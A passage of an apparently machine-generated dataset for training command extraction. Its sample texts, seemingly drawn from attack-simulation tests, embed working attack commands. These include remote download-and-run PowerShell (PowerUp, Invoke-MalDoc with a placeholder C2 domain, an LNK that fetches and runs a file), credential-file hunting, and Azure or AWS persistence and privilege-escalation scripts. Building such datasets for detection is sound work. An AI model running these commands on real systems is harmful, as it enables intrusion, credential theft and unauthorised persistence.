}\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The contents of files containing the word 'password' can be displayed by executing this command: findstr /si pass *.xml *.doc *.txt *.xls\nls -R | select-string -ErrorAction SilentlyContinue -Pattern password\n; For examining potential credential storage in Windows installation logs, run the following commands to check both Panther directory locations:\ntype C:\\Windows\\Panther\\unattend.xml\ntype C:\\Windows\\Panther\\Unattend\\unattend.xml\n",
    "output": "{\"command_list\": [\"findstr /si pass *.xml *.doc *.txt *.xls\\nls -R | select-string -ErrorAction SilentlyContinue -Pattern password\\n\", \"type C:\\\\Windows\\\\Panther\\\\unattend.xml\\ntype C:\\\\Windows\\\\Panther\\\\Unattend\\\\unattend.xml\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The execution flow involves loading VBA code into Office documents via [Invoke-MalDoc](https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1), with the following PowerShell command handling the download operation:\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing)\n$macroCode = Get-Content \"#{macro_path}\" -Raw\n$URL = \"#{c2_domain}\" + \"/\" + \"#{c2_parent_directory}\"\n$macroCode = $macroCode -replace 'serverPath', $URL -replace 'fileName', \"#{file_name}\"\nInvoke-MalDoc -macroCode $macroCode -officeProduct \"#{ms_product}\"; This LNK file triggers PowerShell to download PuTTY from the internet and execute it, which can be done with the following command: Invoke-WebRequest -OutFile $env:Temp\\test10.lnk \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/bin/test10.lnk\"\n$file1 = \"$env:Temp\\test10.lnk\"\nStart-Process $file1\nStart-Sleep -s 10\ntaskkill /IM a.exe /F\n",
    "output": "{\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nIEX (iwr \\\"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\\\" -UseBasicParsing)\\n$macroCode = Get-Content \\\"#{macro_path}\\\" -Raw\\n$URL = \\\"#{c2_domain}\\\" + \\\"/\\\" + \\\"#{c2_parent_directory}\\\"\\n$macroCode = $macroCode -replace 'serverPath', $URL -replace 'fileName', \\\"#{file_name}\\\"\\nInvoke-MalDoc -macroCode $macroCode -officeProduct \\\"#{ms_product}\\\"\\n\", \"Invoke-WebRequest -OutFile $env:Temp\\\\test10.lnk \\\"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/bin/test10.lnk\\\"\\n$file1 = \\\"$env:Temp\\\\test10.lnk\\\"\\nStart-Process $file1\\nStart-Sleep -s 10\\ntaskkill /IM a.exe /F\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Adversaries create new IAM users to maintain persistent access without disrupting normal operations, which can be done with this command: aws iam create-user --user-name #{username}\n; To create a new user in Azure AD while maintaining stealth, adversaries can use the following command: Connect-AzureAD\n$userprincipalname = \"#{userprincipalname}\"\n$username = \"#{username}\"      \n$password = \"#{password}\"\n$PasswordProfile = New-Object -TypeName Microsoft.Open.AzureAD.Model.PasswordProfile\n$PasswordProfile.Password = $password\nNew-AzureADUser -DisplayName $username -PasswordProfile $PasswordProfile -UserPrincipalName $userprincipalname -AccountEnabled $true -MailNickName $username      ",
    "output": "{\"command_list\": [\"aws iam create-user --user-name #{username}\\n\", \"Connect-AzureAD\\n$userprincipalname = \\\"#{userprincipalname}\\\"\\n$username = \\\"#{username}\\\"      \\n$password = \\\"#{password}\\\"\\n$PasswordProfile = New-Object -TypeName Microsoft.Open.AzureAD.Model.PasswordProfile\\n$PasswordProfile.Password = $password\\nNew-AzureADUser -DisplayName $username -PasswordProfile $PasswordProfile -UserPrincipalName $userprincipalname -AccountEnabled $true -MailNickName $username      \"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To execute an LDAP query that retrieves all computer properties including Microsoft LAPS attributes, use the following PowerShell command: Get-adcomputer -SearchScope subtree -filter \"name -like '*'\" -Properties *; For listing computer objects and their attributes, including Microsoft LAPS password attributes, execute this command: & \"PathToAtomicsFolder\\..\\ExternalPayloads\\AdFind.exe\" #{optional_args} -h #{domain} -s subtree -f \"objectclass=computer\" *",
    "output": "{\"command_list\": [\"Get-adcomputer -SearchScope subtree -filter \\\"name -like '*'\\\" -Properties *\", \"& \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\AdFind.exe\\\" #{optional_args} -h #{domain} -s subtree -f \\\"objectclass=computer\\\" *\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For detection purposes, monitor 'Create role assignment' operations while adversaries might run this comprehensive Azure role assignment script: Import-Module -Name Az.Resources\n$PWord = ConvertTo-SecureString -String \"#{password}\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"#{username}\", $Pword\nConnect-AzAccount -Credential $Credential\n\n$sp = Get-AzADServicePrincipal | where-object {$_.DisplayName -eq \"#{service_principal_name}\"}\nif ($sp -eq $null) { Write-Warning \"Service Principal not found\"; exit }\n$subscription = Get-AzSubscription | where-object {$_.Name -eq \"#{subscription}\"} \nif ($subscription -eq $null) { Write-Warning \"Subscription not found\"; exit }\n$role = Get-AzRoleDefinition | where-object {$_.Name -eq \"#{role_name}\"}\nif ($role -eq $null) { Write-Warning \"Role not found\"; exit }\n\nNew-AzRoleAssignment -ObjectId $sp.id -RoleDefinitionId $role.id -Scope /subscriptions/$subscription\nWrite-Host \"Service Principal $($sp.DisplayName) was added to $($role.Name) role in subscriptions $($subscriptions.Name)\"; When attempting to escalate privileges in Azure AD, attackers may implement this technique which creates a new application with dangerous permissions, using the following command block: Import-Module -Name AzureAD\n$PWord = ConvertTo-SecureString -String \"#{password}\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"#{username}\", $Pword\nConnect-AzureAD -Credential $Credential\n\n$aadApplication = New-AzureADApplication -DisplayName \"#{application_name}\"\n$servicePrincipal = New-AzureADServicePrincipal -AppId $aadApplication.AppId\n#$aadApplication = Get-AzureADApplication -Filter \"DisplayName eq '#{application_name}'\"\n\n#Get Service Principal of Microsoft Graph Resource API \n$graphSP = Get-AzureADServicePrincipal -Filter \"DisplayName eq 'Microsoft Graph'\"\n\n#Initialize RequiredResourceAccess for Microsoft Graph Resource API \n$requiredGraphAccess = New-Object Microsoft.Open.AzureAD.Model.RequiredResourceAccess\n$requiredGraphAccess.ResourceAppId = $graphSP.AppId\n$requiredGraphAccess.ResourceAccess = New-Object System.Collections.Generic.List[Microsoft.Open.AzureAD.Model.ResourceAccess]\n\n#Set Application Permissions\n$ApplicationPermissions = @('#{application_permission}')\n\n$reqPermission = $graphSP.AppRoles | Where-Object {$_.Value -eq $ApplicationPermissions}\nif($reqPermission)\n{\n$resourceAccess = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess\n$resourceAccess.Type = \"Role\"\n$resourceAccess.Id = $reqPermission.Id    \n#Add required app permission\n$requiredGraphAccess.ResourceAccess.Add($resourceAccess)\n}\nelse\n{\nWrite-Host \"App permission $permission not found in the Graph Resource API\" -ForegroundColor Red\n}\n\n#Add required resource accesses\n$requiredResourcesAccess = New-Object System.Collections.Generic.List[Microsoft.Open.AzureAD.Model.RequiredResourceAccess]\n$requiredResourcesAccess.Add($requiredGraphAccess)\n\n#Set permissions in existing Azure AD App\nSet-AzureADApplication -ObjectId $aadApplication.ObjectId -RequiredResourceAccess $requiredResourcesAccess\n\n$servicePrincipal = Get-AzureADServicePrincipal -Filter \"AppId eq '$($aadApplication.AppId)'\"\n\nNew-AzureADServiceAppRoleAssignment -ObjectId $servicePrincipal.ObjectId -PrincipalId $servicePrincipal.ObjectId -ResourceId $graphSP.ObjectId -Id $reqPermission.Id",
    "output": "{\"command_list\": [\"Import-Module -Name Az.Resources\\n$PWord = ConvertTo-SecureString -String \\\"#{password}\\\" -AsPlainText -Force\\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \\\"#{username}\\\", $Pword\\nConnect-AzAccount -Credential $Credential\\n\\n$sp = Get-AzADServicePrincipal | where-object {$_.DisplayName -eq \\\"#{service_principal_name}\\\"}\\nif ($sp -eq $null) { Write-Warning \\\"Service Principal not found\\\"; exit }\\n$subscription = Get-AzSubscription | where-object {$_.Name -eq \\\"#{subscription}\\\"} \\nif ($subscription -eq $null) { Write-Warning \\\"Subscription not found\\\"; exit }\\n$role = Get-AzRoleDefinition | where-object {$_.Name -eq \\\"#{role_name}\\\"}\\nif ($role -eq $null) { Write-Warning \\\"Role not found\\\"; exit }\\n\\nNew-AzRoleAssignment -ObjectId $sp.id -RoleDefinitionId $role.id -Scope /subscriptions/$subscription\\nWrite-Host \\\"Service Principal $($sp.DisplayName) was added to $($role.Name) role in subscriptions $($subscriptions.Name)\\\"\\n\", \"Import-Module -Name AzureAD\\n$PWord = ConvertTo-SecureString -String \\\"#{password}\\\" -AsPlainText -Force\\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \\\"#{username}\\\", $Pword\\nConnect-AzureAD -Credential $Credential\\n\\n$aadApplication = New-AzureADApplication -DisplayName \\\"#{application_name}\\\"\\n$servicePrincipal = New-AzureADServicePrincipal -AppId $aadApplication.AppId\\n#$aadApplication = Get-AzureADApplication -Filter \\\"DisplayName eq '#{application_name}'\\\"\\n\\n#Get Service Principal of Microsoft Graph Resource API \\n$graphSP = Get-AzureADServicePrincipal -Filter \\\"DisplayName eq 'Microsoft Graph'\\\"\\n\\n#Initialize RequiredResourceAccess for Microsoft Graph Resource API \\n$requiredGraphAccess = New-Object Microsoft.Open.AzureAD.Model.RequiredResourceAccess\\n$requiredGraphAccess.ResourceAppId = $graphSP.AppId\\n$requiredGraphAccess.ResourceAccess = New-Object System.Collections.Generic.List[Microsoft.Open.AzureAD.Model.ResourceAccess]\\n\\n#Set Application Permissions\\n$ApplicationPermissions = @('#{application_permission}')\\n\\n$reqPermission = $graphSP.AppRoles | Where-Object {$_.Value -eq $ApplicationPermissions}\\nif($reqPermission)\\n{\\n$resourceAccess = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess\\n$resourceAccess.Type = \\\"Role\\\"\\n$resourceAccess.Id = $reqPermission.Id    \\n#Add required app permission\\n$requiredGraphAccess.ResourceAccess.Add($resourceAccess)\\n}\\nelse\\n{\\nWrite-Host \\\"App permission $permission not found in the Graph Resource API\\\" -ForegroundColor Red\\n}\\n\\n#Add required resource accesses\\n$requiredResourcesAccess = New-Object System.Collections.Generic.List[Microsoft.Open.AzureAD.Model.RequiredResourceAccess]\\n$requiredResourcesAccess.Add($requiredGraphAccess)\\n\\n#Set permissions in existing Azure AD App\\nSet-AzureADApplication -ObjectId $aadApplication.ObjectId -RequiredResourceAccess $requiredResourcesAccess\\n\\n$servicePrincipal = Get-AzureADServicePrincipal -Filter \\\"AppId eq '$($aadApplication.AppId)'\\\"\\n\\nNew-AzureADServiceAppRoleAssignment -ObjectId $servicePrincipal.ObjectId -PrincipalId $servicePrincipal.ObjectId -ResourceId $graphSP.ObjectId -Id $reqPermission.Id\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
